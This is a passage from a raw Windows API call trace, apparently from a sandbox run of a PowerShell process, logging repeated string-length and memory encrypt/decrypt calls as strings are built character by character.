Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.050] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsᚙົꀯ꒔溿") returned 0x20 [0122.050] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.050] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd93e\xdbe8\xcc47\xf856\xf63c\x8e80\x53ed\xcffb") returned 0x20 [0122.050] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd93e\xdbe8\xcc47\xf856\xf63c\x8e80\x53ed\xcffb") returned 0x20 [0122.050] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.050] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsOົꀯ꒔溿") returned 0x20 [0122.050] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.050] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd1bf\xde7d\xf01c\xa674\x7ea7\xda3f\xacda\xd8e5") returned 0x20 [0122.050] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd1bf\xde7d\xf01c\xa674\x7ea7\xda3f\xacda\xd8e5") returned 0x20 [0122.050] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.050] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1ꀯ꒔溿") returned 0x20 [0122.050] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.051] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xbb1c\x4d69\x4a8a\x7a82\xce7\xb148\xf06f\x749e") returned 0x20 [0122.051] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xbb1c\x4d69\x4a8a\x7a82\xce7\xb148\xf06f\x749e") returned 0x20 [0122.051] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.051] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1G꒔溿") returned 0x20 [0122.051] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.051] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xdd48\xe8a\x8841\xffc2\xc16e\x1f55\x493d\x477a") returned 0x20 [0122.051] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xdd48\xe8a\x8841\xffc2\xc16e\x1f55\x493d\x477a") returned 0x20 [0122.051] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.051] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1Gu溿") returned 0x20 [0122.051] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.051] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xe83c\x32e9\x7f73\xe3eb\xaec1\xa68d\x3ac9\xeca3") returned 0x20 [0122.051] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xe83c\x32e9\x7f73\xe3eb\xaec1\xa68d\x3ac9\xeca3") returned 0x20 [0122.051] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.051] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1Gun") returned 0x20 [0122.051] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0122.051] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6") returned 0x20 [0122.052] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6") returned 0x20 [0122.052] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6") returned 0x20 [0122.052] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\x65\x72\x53\x68\x65\x6c\x6c\x5c") returned 0x28 [0122.052] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.052] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1GunL엗닞붸脥⅝쪇") returned 0x28 [0122.052] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.052] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xb918\xb1f2\x9429\xa29d\x2208\x3758\xb0f5\x316a") returned 0x28 [0122.052] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xb918\xb1f2\x9429\xa29d\x2208\x3758\xb0f5\x316a") returned 0x28 [0122.052] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.052] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1GunLU닞붸脥⅝쪇") returned 0x28 [0122.052] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.052] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xd9b2\xbbdf\x13de\x45c9\xa7a5\x9ca9\x5d87\xd7d6") returned 0x28 [0122.052] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xd9b2\xbbdf\x13de\x45c9\xa7a5\x9ca9\x5d87\xd7d6") returned 0x28 [0122.052] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.052] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1GunLUi닞붸脥⅝쪇") returned 0x28 [0122.052] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.052] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\x2fb3\x21c5\x6679\xa694\x7e9d\x8f01\xf39a\x5f9a") returned 0x28 [0122.052] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\x2fb3\x21c5\x6679\xa694\x7e9d\x8f01\xf39a\x5f9a") returned 0x28 [0122.052] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.053] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1GunLUir붸脥⅝쪇") returned 0x28 [0122.053] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.053] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xa58a\xbe3c\x3248\x6fe7\xad77\xe75e\x3166\xe7e5") returned 0x28 [0122.053] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xa58a\xbe3c\x3248\x6fe7\xad77\xe75e\x3166\xe7e5") returned 0x28 [0122.053] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.053] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1GunLUir+脥⅝쪇") returned 0x28 [0122.053] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.053] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\x91af\x5cba\xe73e\x7080\x25dc\xe906\xf2d2\x5a8a") returned 0x28 [0122.053] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\x91af\x5cba\xe73e\x7080\x25dc\xe906\xf2d2\x5a8a") returned 0x28 [0122.053] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.053] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1GunLUir+X⅝쪇") returned 0x28 [0122.053] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.053] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\x2940\x6ba1\x1937\x82ad\x3e8a\x1d85\x38ce\x1244") returned 0x28 [0122.053] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\x2940\x6ba1\x1937\x82ad\x3e8a\x1d85\x38ce\x1244") returned 0x28 [0122.053] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.053] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1GunLUir+XA쪇") returned 0x28 [0122.053] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.054] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\x2f34\xac44\xef7a\x1117\xa10b\x6899\x8a03\xc2c") returned 0x28 [0122.054] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\x2f34\xac44\xef7a\x1117\xa10b\x6899\x8a03\xc2c") returned 0x28 [0122.054] SystemFunction041 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.054] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1GunLUir+XA0") returned 0x28 [0122.054] SystemFunction040 (in: Memory=0x8e6ffdc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ffdc) returned 0x0 [0122.054] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xdbbd\x46c\x89d1\x2ca9\x3158\xc847\x1d31\x7554") returned 0x28 [0122.054] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xdbbd\x46c\x89d1\x2ca9\x3158\xc847\x1d31\x7554") returned 0x28 [0122.054] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xdbbd\x46c\x89d1\x2ca9\x3158\xc847\x1d31\x7554") returned 0x28 [0122.054] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xdbbd\x46c\x89d1\x2ca9\x3158\xc847\x1d31\x7554\x76\x31\x2e\x30\x5c\x4d\x6f\x64") returned 0x30 [0122.054] SystemFunction041 (in: Memory=0x8bd3a5c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8bd3a5c) returned 0x0 [0122.054] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1GunLUir+XA0q逦ﺮ៮Ϡᖟ㍶") returned 0x30 [0122.054] SystemFunction040 (in: Memory=0x8bd3a5c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8bd3a5c) returned 0x0 [0122.054] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xdbbd\x46c\x89d1\x2ca9\x3158\xc847\x1d31\x7554\x8119\x63a8\x35e0\x8424\x5c80\xe990\x6e91\xd554") returned 0x30 [0122.054] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xdbbd\x46c\x89d1\x2ca9\x3158\xc847\x1d31\x7554\x8119\x63a8\x35e0\x8424\x5c80\xe990\x6e91\xd554") returned 0x30 [0122.054] SystemFunction041 (in: Memory=0x8bd3a5c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8bd3a5c) returned 0x0 [0122.054] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1GunLUir+XA0q/ﺮ៮Ϡᖟ㍶") returned 0x30 [0122.054] SystemFunction040 (in: Memory=0x8bd3a5c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8bd3a5c) returned 0x0 [0122.054] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xdbbd\x46c\x89d1\x2ca9\x3158\xc847\x1d31\x7554\x23fa\xe9e5\x4d81\x43f\x15d0\x2ae6\xc683\xf402") returned 0x30 [0122.054] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xdbbd\x46c\x89d1\x2ca9\x3158\xc847\x1d31\x7554\x23fa\xe9e5\x4d81\x43f\x15d0\x2ae6\xc683\xf402") returned 0x30 [0122.054] SystemFunction041 (in: Memory=0x8bd3a5c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8bd3a5c) returned 0x0 [0122.055] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1GunLUir+XA0q/Y៮Ϡᖟ㍶") returned 0x30 [0122.055] SystemFunction040 (in: Memory=0x8bd3a5c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8bd3a5c) returned 0x0 [0122.055] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xdbbd\x46c\x89d1\x2ca9\x3158\xc847\x1d31\x7554\xbd5e\x96fe\xf0c7\x7b8e\x4d74\x8e05\xdca0\x9f37") returned 0x30 [0122.055] SysStringLen (param_1="\xcf83\x38e0\xf4c1\xd361\xa561\x3382\xde05\xa2b8\x8c5b\x5e04\xde71\x57df\x7464\xe75b\x1fba\x6f4f\x9d73\xf242\xaf4a\x179f\xca7b\xb4ba\xe16f\x5e6c\xd231\x6b0e\xde06\x64a\x7f26\x5505\x5e3e\xa7b6\xdbbd\x46c\x89d1\x2ca9\x3158\xc847\x1d31\x7554\xbd5e\x96fe\xf0c7\x7b8e\x4d74\x8e05\xdca0\x9f37") returned 0x30 [0122.055] SystemFunction041 (in: Memory=0x8bd3a5c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8bd3a5c) returned 0x0 [0122.055] SysStringLen (param_1="fxV7EFVUFZj2O8QC4Jp92gCvsjsO1GunLUir+XA0q/Y=Ϡᖟ㍶") returned 0x30 [0122.055] SystemFunction040 (in: Memory=0x8bd3a5c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8bd3a5c) returned 0x0 [0122.055] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.055] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.055] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.097] CoTaskMemAlloc (cb=0x20e) returned 0x8e54fb0 [0122.097] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e54fb0, nSize=0x105 | out: lpBuffer="file") returned 0x0 [0122.097] CoTaskMemFree (pv=0x8e54fb0) [0122.097] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.097] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.097] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0122.099] SysStringLen (param_1="") returned 0x8 [0122.099] SysStringLen (param_1="Y") returned 0x8 [0122.099] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.099] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0122.099] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0122.099] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.099] SysStringLen (param_1="YW") returned 0x8 [0122.100] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.100] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0122.100] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0122.100] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.100] SysStringLen (param_1="YWM") returned 0x8 [0122.100] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.100] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0122.100] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0122.100] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.100] SysStringLen (param_1="YWM1") returned 0x8 [0122.100] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.100] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0122.100] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0122.100] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0122.101] SysStringLen (param_1="YWM1O") returned 0x8 [0122.101] SystemFunction040 (in: 